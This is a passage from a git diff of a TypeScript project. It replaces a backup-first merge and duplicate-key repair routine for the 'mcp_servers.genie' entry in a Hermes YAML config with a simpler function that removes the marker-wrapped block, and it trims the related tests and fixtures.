expect(hasDuplicateMcpGenieKeys(original)).toBe(true); - - const result = mergeMcpServersGenie({ - configPath, - binaryPath: command, - genieHome: root, - fsExists: () => false, - now: new Date('2026-07-13T00:00:00Z'), - }); - expect(result.status).toBe('updated'); - expect(result.backupPath).toBeDefined(); - expect(readFileSync(result.backupPath as string, 'utf8')).toBe(original); - - const text = readFileSync(configPath, 'utf8'); - expect(text.match(/^\s*genie:\s*$/gm)?.length).toBe(1); - expect(hasDuplicateMcpGenieKeys(text)).toBe(false); - - const parsed = Bun.YAML.parse(text) as { mcp_servers: { genie: { command: string; args: string[] } } }; - expect(parsed.mcp_servers.genie.command).toBe(command); - expect(parsed.mcp_servers.genie.args).toEqual(['mcp']); - }); - - test('repair is idempotent: a second merge on the repaired file is unchanged', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - const original = `mcp_servers:\n genie:\n${managedBlock(command)}`; - writeFileSync(configPath, original); - - const first = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(first.status).toBe('updated'); - const afterFirst = readFileSync(configPath, 'utf8'); - - const second = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(second.status).toBe('unchanged'); - expect(second.backupPath).toBeUndefined(); - expect(readFileSync(configPath, 'utf8')).toBe(afterFirst); - }); - - test('a duplicate with content identical to the managed region also repairs safely', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - // Unmarked leftover carrying the EXACT same command/args as the managed - // region — safe to drop even though it is not empty. - const original = `mcp_servers:\n genie:\n command: ${JSON.stringify(command)}\n args:\n - mcp\n${managedBlock(command)}`; - writeFileSync(configPath, original); - - const result = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(result.status).toBe('updated'); - - const text = readFileSync(configPath, 'utf8'); - expect(text.match(/^\s*genie:\s*$/gm)?.length).toBe(1); - const parsed = Bun.YAML.parse(text) as { mcp_servers: { genie: { command: string } } }; - expect(parsed.mcp_servers.genie.command).toBe(command); - }); - - test('a duplicate with conflicting (non-empty, non-identical) content → typed refusal with the conflict code', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - const original = `mcp_servers:\n genie:\n command: /old/stale/genie\n args:\n - mcp\n${managedBlock(command)}`; - writeFileSync(configPath, original); - - try { - mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - throw new Error('expected a HermesConfigError to be thrown'); - } catch (err) { - expect(err).toBeInstanceOf(HermesConfigError); - expect((err as HermesConfigError).code).toBe('duplicate-mcp-genie-conflict'); - } - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('no marker-wrapped region among the duplicates → typed refusal with the unmarked code', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - // Two plain unmarked `genie:` children, neither wrapped in markers — - // ambiguous which one (if either) is authoritative. - const original = - 'mcp_servers:\n' + - ' genie:\n command: /usr/bin/a\n args:\n - mcp\n' + - ' other:\n command: /usr/bin/other\n' + - ' genie:\n command: /usr/bin/b\n args:\n - mcp\n'; - writeFileSync(configPath, original); - - try { - mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - throw new Error('expected a HermesConfigError to be thrown'); - } catch (err) { - expect(err).toBeInstanceOf(HermesConfigError); - expect((err as HermesConfigError).code).toBe('duplicate-mcp-genie-unmarked'); - } - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('two marker-wrapped regions (ambiguous which is managed) → typed refusal with the unmarked code', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - const original = `mcp_servers:\n${managedBlock('/old/genie')}${managedBlock(command)}`; - writeFileSync(configPath, original); - - try { - mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - throw new Error('expected a HermesConfigError to be thrown'); - } catch (err) { - expect(err).toBeInstanceOf(HermesConfigError); - expect((err as HermesConfigError).code).toBe('duplicate-mcp-genie-unmarked'); - } - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('refusal is idempotent: a repeated call still throws and never writes or backs up', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - const original = `mcp_servers:\n genie:\n command: /old/stale/genie\n args:\n - mcp\n${managedBlock(command)}`; - writeFileSync(configPath, original); - - for (let i = 0; i < 2; i++) { - expect(() => - mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }), - ).toThrow(HermesConfigError); - } - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); -}); - -describe('hasDuplicateMcpGenieKeys', () => { - test('false for no mcp_servers key, single key, and empty text', () => { - expect(hasDuplicateMcpGenieKeys('')).toBe(false); - expect(hasDuplicateMcpGenieKeys('other: 1\n')).toBe(false); - expect(hasDuplicateMcpGenieKeys('mcp_servers:\n genie:\n command: /x\n')).toBe(false); - }); - - test('true for a textual duplicate even when the parsed value looks correct (last-wins hides it)', () => { - const text = 'mcp_servers:\n genie:\n genie:\n command: /x\n args:\n - mcp\n'; - expect(Bun.YAML.parse(text)).toEqual({ mcp_servers: { genie: { command: '/x', args: ['mcp'] } } }); - expect(hasDuplicateMcpGenieKeys(text)).toBe(true); + test('preserves unowned routes and detects duplicate direct children', () => { + expect(hasDuplicateMcpGenieKeys('mcp_servers:\n genie: {}\n other: {}\n genie: {}\n')).toBe(true); + expect(hasDuplicateMcpGenieKeys('mcp_servers:\n genie: {}\n other: {}\n')).toBe(false); }); }); diff --git a/src/lib/hermes-mcp-config.ts b/src/lib/hermes-mcp-config.ts index 2019e4689..686a388d5 100644 --- a/src/lib/hermes-mcp-config.ts +++ b/src/lib/hermes-mcp-config.ts @@ -1,84 +1,5 @@ -/** - * Idempotent, backup-first merge of the `mcp_servers.genie` entry into a Hermes - * `config.yaml`. - * - * ## Design contract - * - * The one non-negotiable rule is **never clobber unrelated user config**. A full - * parse/re-serialize round-trip would reorder keys, drop comments, and reflow - * scalars, so instead this module performs a *targeted text-level merge* and - * only ever rewrites the bytes it owns. Untouched lines survive verbatim. - * - * `Bun.YAML.parse` is used **only to read** the current state (to decide - * created/updated/unchanged and to compare the existing entry). Writes are pure - * text surgery. - * - * ## Managed-marker rule - * - * When this module writes the genie entry it wraps it in marker comments: - * - * ```yaml - * mcp_servers: - * # genie:managed:mcp_servers.genie — begin (managed by genie; edit via genie only) - * genie: - * command: "/abs/bin/genie" - * args: - * - mcp - * # genie:managed:mcp_servers.genie — end - * ``` - * - * Genie owns exactly the region between its markers. On subsequent runs it finds - * that region and replaces only it. Resolution order when a write is required: - * - * 1. **Marker region present** → replace it in place (the steady-state path). - * 2. **`mcp_servers:` present, unmarked `genie:` child present** → replace that - * child's line range with the marker-wrapped canonical block; every sibling - * server is preserved. This is how a pre-existing hand-written genie entry is - * adopted the first time its command drifts from canonical. - * 3. **`mcp_servers:` present, no genie child** → append the marker-wrapped - * block as the last child of the existing block; siblings preserved. - * 4. **No `mcp_servers:` key** → append a fresh `mcp_servers:` section at EOF; - * all prior content is preserved byte-for-byte as a prefix. - * - * A top-level `mcp_servers:` carrying an **inline/flow/scalar value on the same - * line** (`mcp_servers: {}`, `mcp_servers: {other: {...}}`, `mcp_servers: null`) - * is deliberately *not* merged: merging a block child into a flow value would - * require re-serializing user bytes, and blindly appending a second `mcp_servers:` - * key produces spec-invalid duplicate-key YAML or silently drops the user's - * siblings on last-wins. Such a config is refused with a typed `HermesConfigError` - * before any backup or write, so the original file survives byte-for-byte. - * - * The genie entry itself is genie-owned: its content is rewritten to canonical - * whenever it differs. Everything *outside* the entry (other servers, other - * top-level keys, comments, formatting) is never touched. A pre-existing entry - * that already satisfies the canonical command/args is left completely alone - * (no write, no backup), so user-added fields inside a matching entry survive. - * - * Backups: any mutation of an existing non-empty file writes a - * `<config>.genie-backup-<timestamp>` copy of the original bytes first. Creating - * a brand-new file is not a mutation and writes no backup. - * - * ## Duplicate-key repair (DF-1) - * - * An earlier buggy genie release could leave a second `genie:` child key under - * `mcp_servers:` — spec-invalid duplicate-key YAML that `Bun.YAML.parse` - * silently resolves last-wins, so it is invisible to a parse-only check and - * survives every future merge. `mergeMcpServersGenie` detects this textual - * duplicate BEFORE deciding `unchanged`/`updated`/`created` and repairs it when - * safe: exactly one `genie:` occurrence is the marker-wrapped managed region, - * and every other occurrence is either an empty `genie:` block or one whose - * parsed command/args/env are identical to the managed region's — those - * duplicates are dropped, leaving exactly one `genie` key. Any other duplicate - * shape (two non-empty, non-identical entries, or content genie cannot prove - * safe to drop) is refused with a typed `HermesConfigError` before any backup - * or write, so the original file survives byte-for-byte. - */ +import { copyFileSync, existsSync, readFileSync, writeFileSync } from 'node:fs'; -import { copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; -import { dirname, isAbsolute, join } from 'node:path'; -import { resolveGenieHome } from './genie-home.js'; - -/** Typed error for every Hermes config helper failure. */ export class HermesConfigError extends Error { readonly code: string; constructor(code: string, message: string) { @@ -88,498 +9,58 @@ export class HermesConfigError extends Error { } } -/** Canonical shape of the managed `mcp_servers.genie` entry. */ -export interface McpGenieEntry { - command: string; - args: string[]; - env?: Record<string, string>; -} - -export interface ResolveGenieBinaryOptions { - /** Explicit absolute override. Empty string is an error; relative is an error. */ - binaryPath?: string; - /** Global genie root; defaults to `resolveGenieHome()`. */ - genieHome?: string; - /** Injectable existence check so callers/tests can prove the "preferred" branch. */ - fsExists?: (path: string) => boolean; +export interface RetireMcpGenieResult { + status: 'updated' | 'unchanged'; + path: string; + backupPath?: string; } -export interface MergeMcpGenieOptions extends ResolveGenieBinaryOptions { - /** Path to the Hermes `config.yaml`. */ +interface RetireMcpGenieOptions { configPath: string; - /** Emit `env.GENIE_HOME` alongside the command. */ - includeGenieHomeEnv?: boolean; - /** Clock injection for deterministic backup filenames. */ now?: Date; } -export interface MergeMcpGenieResult { - status: 'created' | 'updated' | 'unchanged'; - path: string; - backupPath?: string; - entry: McpGenieEntry; -} - const MARKER_BEGIN = '# genie:managed:mcp_servers.genie — begin (managed by genie; edit via genie only)'; const MARKER_END = '# genie:managed:mcp_servers.genie — end'; -/** - * Resolve the absolute genie binary for the MCP command. Prefers - * `$GENIE_HOME/bin/genie` when it exists (the installed layout), otherwise falls - * back to an explicit absolute override. An empty or relative override, or a - * total failure to resolve an absolute path, is a typed error. - */ -export function resolveGenieBinaryPath(opts: ResolveGenieBinaryOptions = {}): string { - const fsExists = opts.fsExists ?? existsSync; - const genieHome = opts.genieHome ?? resolveGenieHome(); - - if (opts.binaryPath !== undefined) { - if (opts.binaryPath.trim() === '') { - throw new HermesConfigError('empty-binary-path', 'genie binary path is empty'); - } - if (!isAbsolute(opts.binaryPath)) { - throw new HermesConfigError('relative-binary-path', `genie binary path must be absolute: ${opts.binaryPath}`); - } - } - - const preferred = join(genieHome, 'bin', 'genie'); - if (fsExists(preferred)) return preferred; - if (opts.binaryPath) return opts.binaryPath; - throw new HermesConfigError( - 'unresolved-binary-path', - `cannot resolve an absolute genie binary; ${preferred} not found and no binaryPath given`, - ); -} - -/** Merge `mcp_servers.genie` into the Hermes config, idempotent and backup-first. */ -export function mergeMcpServersGenie(opts: MergeMcpGenieOptions): MergeMcpGenieResult { - const now = opts.now ?? new Date(); - const genieHome = opts.genieHome ?? resolveGenieHome(); - const command = resolveGenieBinaryPath({ binaryPath: opts.binaryPath, genieHome, fsExists: opts.fsExists }); - - const entry: McpGenieEntry = { command, args: ['mcp'] }; - if (opts.includeGenieHomeEnv) entry.env = { GENIE_HOME: genieHome }; - - const exists = existsSync(opts.configPath); - const diskOriginal = exists ? readFileSync(opts.configPath, 'utf8') : ''; - - // DF-1: repair a spec-invalid duplicate `genie:` child key BEFORE any other - // decision — see the module doc comment. Throws (fail-closed) when the - // duplicate shape cannot be proven safe to collapse. - const repaired = exists ? repairDuplicateMcpGenieEntries(diskOriginal) : diskOriginal; - const wasRepaired = repaired !== diskOriginal; - - const existingGenie = exists ? readGenieEntry(repaired) : undefined; - - // A repair always forces a write, since the duplicate key itself must be - // removed from disk even if the managed entry's content is unchanged. - if (!wasRepaired && existingGenie && entrySatisfies(existingGenie, entry)) { - return { status: 'unchanged', path: opts.configPath, entry }; - } - - const status: 'created' | 'updated' = existingGenie ? 'updated' : 'created'; - const nextText = spliceGenieEntry(repaired, entry); - assertMergedGenieEntryInvariant(nextText, entry); - - let backupPath: string | undefined; - if (exists && diskOriginal.length > 0) { - backupPath = writeBackup(opts.configPath, now); - } - mkdirSync(dirname(opts.configPath), { recursive: true }); - writeFileSync(opts.configPath, nextText, 'utf8'); - return { status, path: opts.configPath, backupPath, entry }; -} - -/** Read the parsed `mcp_servers.genie` object, or undefined if absent/malformed. */ -function readGenieEntry(text: string): McpGenieEntry | undefined { - let parsed: unknown; - try { - parsed = Bun.YAML.parse(text); - } catch { - return undefined; - } - if (!isRecord(parsed)) return undefined; - const servers = parsed.mcp_servers; - if (!isRecord(servers)) return undefined; - const genie = servers.genie; - if (!isRecord(genie)) return undefined; - const command = typeof genie.command === 'string' ? genie.command : undefined; - const args = Array.isArray(genie.args) ? genie.args.filter((a): a is string => typeof a === 'string') : []; - if (command === undefined) return undefined; - const env = isRecord(genie.env) - ? Object.fromEntries(Object.entries(genie.env).filter(([, v]) => typeof v === 'string')) - : undefined; - return env ? { command, args, env: env as Record<string, string> } : { command, args }; -} - -/** The desired entry is satisfied when the existing one carries the same command, args, and any desired env. */ -function entrySatisfies(existing: McpGenieEntry, desired: McpGenieEntry): boolean { - if (existing.command !== desired.command) return false; - if (!stringArraysEqual(existing.args, desired.args)) return false; - if (desired.env) { - for (const [k, v] of Object.entries(desired.env)) { - if (existing.env?.[k] !== v) return false; - } - } - return true; -} - -interface GenieChildOccurrence { - headerIndex: number; - bodyRange: { start: number; end: number }; - /** True when immediately wrapped by MARKER_BEGIN above and MARKER_END below — the managed region. */ - markerWrapped: boolean; -} - -/** - * Every `genie:` child-key occurrence under an `mcp_servers:` block, in - * document order. Unlike `findChildRange` (which returns only the FIRST - * match), this is the duplicate-detection primitive: a spec-invalid config can - * carry more than one `genie` key, at most one of which is marker-wrapped. - */ -function findAllGenieChildOccurrences( - lines: string[], - start: number, - blockEnd: number, - childIndent: number, -): GenieChildOccurrence[] { - const headerRe = new RegExp(`^ {${childIndent}}genie:\\s*(#.*)?$`); - const out: GenieChildOccurrence[] = []; - for (let i = start; i < blockEnd; i++) { - if (indentOf(lines[i]) !== childIndent || !headerRe.test(lines[i])) continue; - let end = i + 1; - while (end < blockEnd && (isBlank(lines[end]) || indentOf(lines[end]) > childIndent)) end++; - const before = lines[i - 1]; - const after = lines[end]; - const markerWrapped = - before !== undefined && before.trim() === MARKER_BEGIN && after !== undefined && after.trim() === MARKER_END; - out.push({ headerIndex: i, bodyRange: { start: i + 1, end }, markerWrapped }); - } - return out; -} - -/** Reconstruct and parse a single `genie:` occurrence's content, ignoring the rest of the document. */ -function parseGenieOccurrenceEntry(lines: string[], occ: GenieChildOccurrence): McpGenieEntry | undefined { - const snippet = ['mcp_servers:', lines[occ.headerIndex], ...lines.slice(occ.bodyRange.start, occ.bodyRange.end)].join( - '\n', - ); - return readGenieEntry(`${snippet}\n`); -} - -/** True when two entries carry the exact same command, args, and env — a stricter check than `entrySatisfies`. */ -function genieEntriesIdentical(a: McpGenieEntry | undefined, b: McpGenieEntry | undefined): boolean { - if (!a || !b) return false; - if (a.command !== b.command) return false; - if (!stringArraysEqual(a.args, b.args)) return false; - const aEnv = a.env ?? {}; - const bEnv = b.env ?? {}; - const aKeys = Object.keys(aEnv).sort(); - const bKeys = Object.keys(bEnv).sort(); - return aKeys.length === bKeys.length && aKeys.every((k, i) => k === bKeys[i] && aEnv[k] === bEnv[k]); -} - -/** - * DF-1 repair: detect and collapse a spec-invalid duplicate `genie:` child key - * under `mcp_servers:` — see the module doc comment for the full contract. - * Returns `original` unchanged when there is nothing to repair (fewer than 2 - * occurrences, or no `mcp_servers:` block at all — an inline top-level - * `mcp_servers:` is left for `assertNoInlineTopLevelKey` to refuse - * downstream). Throws a typed `HermesConfigError` for any duplicate shape that - * cannot be proven safe to collapse. - */ -function repairDuplicateMcpGenieEntries(original: string): string { - if (original.length === 0) return original; - const { lines, trailingNewline } = toLines(original); - const header = findTopLevelKeyLine(lines, 'mcp_servers'); - if (header < 0) return original; - - const blockEnd = blockEndIndex(lines, header); - const childIndent = childIndentOf(lines, header, blockEnd); - const occurrences = findAllGenieChildOccurrences(lines, header + 1, blockEnd, childIndent); - if (occurrences.length < 2) return original; - - const managedList = occurrences.filter((o) => o.markerWrapped); - if (managedList.length !== 1) { +/** Remove only Genie's marker-owned historical Hermes route, preserving all other bytes. */ +export function retireMcpServersGenie(opts: RetireMcpGenieOptions): RetireMcpGenieResult { + if (!existsSync(opts.configPath)) return { status: 'unchanged', path: opts.configPath }; + const original = readFileSync(opts.configPath, 'utf8'); + const lines = original.split('\n'); + const begins = lines.flatMap((line, index) => (line.trim() === MARKER_BEGIN ? [index] : [])); + const ends = lines.flatMap((line, index) => (line.trim() === MARKER_END ? [index] : [])); + if (begins.length !== ends.length || begins.length > 1 || (begins[0] !== undefined && begins[0] >= (ends[0] ?? -1))) { throw new HermesConfigError( - 'duplicate-mcp-genie-unmarked', - `cannot repair: "mcp_servers.genie" appears ${occurrences.length} times and ${managedList.length} of them are the marker-wrapped managed region (expected exactly 1); resolve the duplicate manually`, + 'ambiguous-managed-marker', + `expected exactly one complete Genie MCP marker pair, found ${begins.length} begin and ${ends.length} end markers`, ); } - const managed = managedList[0]; - const managedEntry = parseGenieOccurrenceEntry(lines, managed); - for (const occ of occurrences) { - if (occ === managed) continue; - const bodyEmpty = occ.bodyRange.start >= occ.bodyRange.end; - const occEntry = bodyEmpty ? undefined : parseGenieOccurrenceEntry(lines, occ); - const safe = bodyEmpty || genieEntriesIdentical(managedEntry, occEntry); - if (!safe) { - throw new HermesConfigError( - 'duplicate-mcp-genie-conflict', - `cannot repair: a duplicate "genie" entry under "mcp_servers:" (line ${occ.headerIndex + 1}) has content genie cannot prove is safe to drop; resolve the duplicate manually`, - ); - } - } - - // Safe: drop every non-managed occurrence's header+body lines, keep the - // managed (marker-wrapped) region exactly as-is. Remove last-to-first so - // earlier indices survive. - const sorted = [...occurrences].sort((a, b) => b.headerIndex - a.headerIndex); - for (const occ of sorted) { - if (occ === managed) continue; - lines.splice(occ.headerIndex, occ.bodyRange.end - occ.headerIndex); - } - return fromLines(lines, trailingNewline); + if (begins.length === 0) return { status: 'unchanged', path: opts.configPath }; + const next = [...lines.slice(0, begins[0]), ...lines.slice((ends[0] ?? begins[0]) + 1)].join('\n'); + const backupPath = `${opts.configPath}.genie-backup-${(opts.now ?? new Date()).toISOString().replaceAll(':', '-').replaceAll('.', '-')}`; + copyFileSync(opts.configPath, backupPath); + writeFileSync(opts.configPath, next, 'utf8'); + return { status: 'updated', path: opts.configPath, backupPath }; } -/** - * Read-only textual duplicate-key detector for `genie doctor` — mirrors the - * repair machinery's occurrence scan but never repairs or throws. True when - * `mcp_servers.genie` appears more than once, even if the parsed document - * happens to look correct (last-wins hides the duplicate from any parse-only - * check). - */ +/** Detect duplicate direct `genie:` children under a block-style top-level `mcp_servers:` key. */ export function hasDuplicateMcpGenieKeys(text: string): boolean { - if (text.length === 0) return false; - const { lines } = toLines(text); - const header = findTopLevelKeyLine(lines, 'mcp_servers'); - if (header < 0) return false; - const blockEnd = blockEndIndex(lines, header); - const childIndent = childIndentOf(lines, header, blockEnd); - return findAllGenieChildOccurrences(lines, header + 1, blockEnd, childIndent).length > 1; -} - -/** - * Final fail-closed safety net: the line-level splice above handles every - * documented shape (marker region, unmarked child, no genie child, no - * mcp_servers key, comment lines interleaved among siblings), but a - * sufficiently pathological comment layout could still slip past the matchers - * undetected. Rather than trust that no such layout exists, verify the actual - * output before it is ever written: it must parse as YAML and it must contain - * exactly the expected `mcp_servers.genie` entry (the never-clobber invariant — - * refusal is always acceptable, corruption never is). - */ -function assertMergedGenieEntryInvariant(nextText: string, entry: McpGenieEntry): void { - try { - Bun.YAML.parse(nextText); - } catch (err) { - throw new HermesConfigError( - 'unparseable-merge-result', - `refusing to write: merged config would not parse as YAML (${err instanceof Error ? err.message : String(err)})`, - ); - } - const written = readGenieEntry(nextText); - if (!written || !entrySatisfies(written, entry)) { - throw new HermesConfigError( - 'unverified-merge', - 'refusing to write: merged config would not contain the expected mcp_servers.genie entry', - ); - } -} - -/** Produce the next config text with the genie entry merged in via targeted surgery. */ -function spliceGenieEntry(original: string, entry: McpGenieEntry): string { - if (original.length === 0) { - return `${['mcp_servers:', ...renderManagedBlock(2, entry)].join('\n')}\n`; - } - - const { lines, trailingNewline } = toLines(original); - - const markerRange = findMarkerRange(lines); - if (markerRange) { - const indent = indentOf(lines[markerRange.begin]); - lines.splice(markerRange.begin, markerRange.end - markerRange.begin + 1, ...renderManagedBlock(indent, entry)); - return fromLines(lines, trailingNewline); - } - - assertNoInlineTopLevelKey(lines, 'mcp_servers'); - - const header = findTopLevelKeyLine(lines, 'mcp_servers'); - if (header >= 0) { - spliceIntoBlock(lines, header, entry); - return fromLines(lines, trailingNewline); - } - - return appendMcpServersSection(original, entry); -} - -/** Insert/replace the genie child inside an existing `mcp_servers:` block. */ -function spliceIntoBlock(lines: string[], header: number, entry: McpGenieEntry): void { - const blockEnd = blockEndIndex(lines, header); - const childIndent = childIndentOf(lines, header, blockEnd); - const existing = findChildRange(lines, header + 1, blockEnd, childIndent, 'genie'); - const block = renderManagedBlock(childIndent, entry); - if (existing) { - lines.splice(existing.start, existing.end - existing.start, ...block); - } else { - lines.splice(blockEnd, 0, ...block); - } -} - -/** Append a fresh `mcp_servers:` section, preserving all prior bytes as a prefix. */ -function appendMcpServersSection(original: string, entry: McpGenieEntry): string { - const section = `${['mcp_servers:', ...renderManagedBlock(2, entry)].join('\n')}\n`; - const separator = original.endsWith('\n') ? '' : '\n'; - return `${original}${separator}${section}`; -} - -/** Marker-wrapped genie entry lines rendered at the given indent. */ -function renderManagedBlock(indent: number, entry: McpGenieEntry): string[] { - const pad = ' '.repeat(indent); - const out = [ - `${pad}${MARKER_BEGIN}`, - `${pad}genie:`, - `${pad} command: ${yamlScalar(entry.command)}`, - `${pad} args:`, - ...entry.args.map((arg) => `${pad} - ${yamlScalar(arg)}`), - ]; - if (entry.env) { - out.push(`${pad} env:`); - for (const [key, value] of Object.entries(entry.env)) out.push(`${pad} ${key}: ${yamlScalar(value)}`); - } - out.push(`${pad}${MARKER_END}`); - return out; -} - -/** Double-quoted scalar — always valid YAML for the path/env strings we emit. */ -function yamlScalar(value: string): string { - return JSON.stringify(value); -} - -function writeBackup(configPath: string, now: Date): string { - const stamp = now.toISOString().replace(/[:.]/g, '-'); - const backupPath = `${configPath}.genie-backup-${stamp}`; - copyFileSync(configPath, backupPath); - return backupPath; -} - -// --- line-level helpers (shared indentation surgery) --- - -function toLines(text: string): { lines: string[]; trailingNewline: boolean } { - const trailingNewline = text.endsWith('\n'); - const body = trailingNewline ? text.slice(0, -1) : text; - return { lines: body.split('\n'), trailingNewline }; -} - -function fromLines(lines: string[], trailingNewline: boolean): string { - return lines.join('\n') + (trailingNewline ? '\n' : ''); -} - -function isBlank(line: string): boolean { - return line.trim() === ''; -} - -/** - * A YAML comment-only line is valid at ANY indentation and carries no structural - * weight. Every boundary-detection helper below must treat it exactly like a - * blank line: it never terminates a block and it is never mistaken for "the - * first real child" when deriving a block's child indent. - */ -function isCommentOnly(line: string): boolean { - return line.trim().startsWith('#'); -} - -/** True for a line with no structural weight: blank or comment-only. */ -function isSkippable(line: string): boolean { - return isBlank(line) || isCommentOnly(line); -} - -function indentOf(line: string): number { - return line.match(/^ */)?.[0].length ?? 0; -} - -function findMarkerRange(lines: string[]): { begin: number; end: number } | null { - let begin = -1; - for (let i = 0; i < lines.length; i++) { - const trimmed = lines[i].trim(); - if (begin < 0 && trimmed === MARKER_BEGIN) begin = i; - else if (begin >= 0 && trimmed === MARKER_END) return { begin, end: i }; - } - return null; -} - -function findTopLevelKeyLine(lines: string[], key: string): number { - const re = new RegExp(`^${key}:\\s*(#.*)?$`); - for (let i = 0; i < lines.length; i++) { - if (re.test(lines[i])) return i; - } - return -1; -} - -/** - * Refuse to merge when a top-level `key:` carries an inline/flow/scalar value on - * the same line (e.g. `key: {}`, `key: {a: b}`, `key: null`). Only a bare block - * header (`key:` optionally trailed by a comment) is mergeable; anything else can - * only be merged by re-serializing user bytes, so we raise a typed error before - * any write instead of appending a duplicate top-level key. - */ -function assertNoInlineTopLevelKey(lines: string[], key: string): void { - const keyLine = new RegExp(`^${key}:(?:\\s|$)`); - const blockHeader = new RegExp(`^${key}:\\s*(#.*)?$`); + const lines = text.split('\n'); + let inServers = false; + let childIndent: number | null = null; + let count = 0; for (const line of lines) { - if (keyLine.test(line) && !blockHeader.test(line)) { - throw new HermesConfigError( - 'inline-top-level-key', - `cannot merge: top-level "${key}" has an inline value on the same line (${line.trim()}); rewrite it as a block mapping so genie can merge without deleting your entries`, - ); - } - } -} - -/** - * First line index after a block header where the block's children end. A - * comment-only line is skipped regardless of its own indentation — YAML - * comments are valid at any column and never close a block on their own. - */ -function blockEndIndex(lines: string[], header: number): number { - let end = header + 1; - while (end < lines.length && (isCommentOnly(lines[end]) || isBlank(lines[end]) || indentOf(lines[end]) > 0)) end++; - return end; -} - -/** Indentation of the first real (non-blank, non-comment) child line, defaulting to 2. */ -function childIndentOf(lines: string[], header: number, blockEnd: number): number { - for (let i = header + 1; i < blockEnd; i++) { - if (!isSkippable(lines[i])) return indentOf(lines[i]); - } - return 2; -} - -/** - * Line range [start, end) of a named child entry at a given indent. - * - * Deliberately NOT comment-skipping here, unlike the search-boundary helpers - * above: this range is used to DELETE and replace an existing child's content - * wholesale. A deeper-indented line (comment or not) is still genie's own - * nested content and is correctly swallowed by `indentOf > childIndent`. But a - * comment sitting AT or below `childIndent` — between this child and the next - * sibling — belongs to neither and must not be deleted: the module's contract - * is that comments outside the managed entry are never touched. - */ -function findChildRange( - lines: string[], - start: number, - blockEnd: number, - childIndent: number, - name: string, -): { start: number; end: number } | null { - const keyRe = new RegExp(`^ {${childIndent}}${name}:\\s*(.*)$`); - let found = -1; - for (let i = start; i < blockEnd; i++) { - if (!isBlank(lines[i]) && indentOf(lines[i]) === childIndent && keyRe.test(lines[i])) { - found = i; - break; + const content = line.trim(); + if (content === '' || content.startsWith('#')) continue; + const indent = line.length - line.trimStart().length; + if (!inServers) { + if (indent === 0 && content === 'mcp_servers:') inServers = true; + continue; } + if (indent === 0) break; + if (childIndent === null) childIndent = indent; + if (indent === childIndent && /^genie\s*:/.test(content)) count += 1; } - if (found < 0) return null; - let end = found + 1; - while (end < blockEnd && (isBlank(lines[end]) || indentOf(lines[end]) > childIndent)) end++; - return { start: found, end }; -} - -function stringArraysEqual(a: string[], b: string[]): boolean { - return a.length === b.length && a.every((value, index) => value === b[index]); -} - -function isRecord(value: unknown): value is Record<string, unknown> { - return typeof value === 'object' && value !== null && !Array.isArray(value); + return count > 1; } diff --git a/src/lib/runtime-integrations.test.ts b/src/lib/runtime-integrations.test.ts index 3beba46f8..0ed0c3414 100644 --- a/src/lib/runtime-integrations.test.ts +++ b/src/lib/runtime-integrations.test.ts @@ -23,7 +23,6 @@ import { planCodexFallbackRetirement, recoverCodexFallbackRetirements, } from './agent-sync.js'; -import { REQUIRED_GENIE_MCP_TOOLS } from './codex-mcp-health-session.js'; import type { CodexPluginProbe } from './codex-project-mcp.js'; import { CANONICAL_CODEX_REVIEWER_DIGEST, @@ -98,7 +97,6 @@ function healthyCodexProof(activePluginRoot = '/fixture/plugin/root'): CodexHeal expectedVersion: VERSION, skillInventory: CANONICAL_GENIE_SKILL_NAMES, payload: [], - mcp: { initialized: true, tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }, }) as CodexHealthProof; } @@ -106,17 +104,11 @@ function canonicalTempDir(prefix: string): string { return realpathSync(mkdtempSync(join(tmpdir(), prefix))); } -/** Default plugin-only seams: healthy probe/proof/session against a fresh isolated fallback tier. */ +/** Default plugin-only seams: healthy proof against a fresh isolated fallback tier. */ function healthyCodexPluginOnly(overrides: CodexPluginOnlyDeps = {}): CodexPluginOnlyDeps { return { probe: () => healthyCodexProbe(), prove: () => healthyCodexProof(), - runSession: () => ({ - ok: true, - detail: 'fixture session', - tools: [...REQUIRED_GENIE_MCP_TOOLS], - wishStatusReadOnly: true, - }), fallbackSkillsDir: canonicalTempDir('genie-fallback-skills-'), ...overrides, }; @@ -2268,7 +2260,6 @@ function baseConvergeOptions(fallbackSkillsDir: string, overrides: Partial<Codex converge: () => healthyPluginResult(), probe: () => healthyCodexProbe(), prove: () => healthyCodexProof(), - runSession: () => ({ ok: true, detail: 'ok', tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }), installAgents: () => ({ installed: 7, skippedUserOwned: [], keptModified: [], removed: [], backedUp: [] }), fallbackSkillsDir, ...overrides, @@ -2394,7 +2385,6 @@ describe('convergeCodexPluginOnly ordering and single-proof (R1)', () => { expectedVersion: VERSION, skillInventory: ['wish'], payload: [{ skillName: 'wish', path: target, physicalDigest: targetDigest, canonicalVerified: true as const }], - mcp: { initialized: true, tools: [...REQUIRED_GENIE_MCP_TOOLS], wishStatusReadOnly: true }, }) as CodexHealthProof; const first = convergeCodexPluginOnly(baseConvergeOptions(fallback, { prove: proofWithTarget })); @@ -2492,12 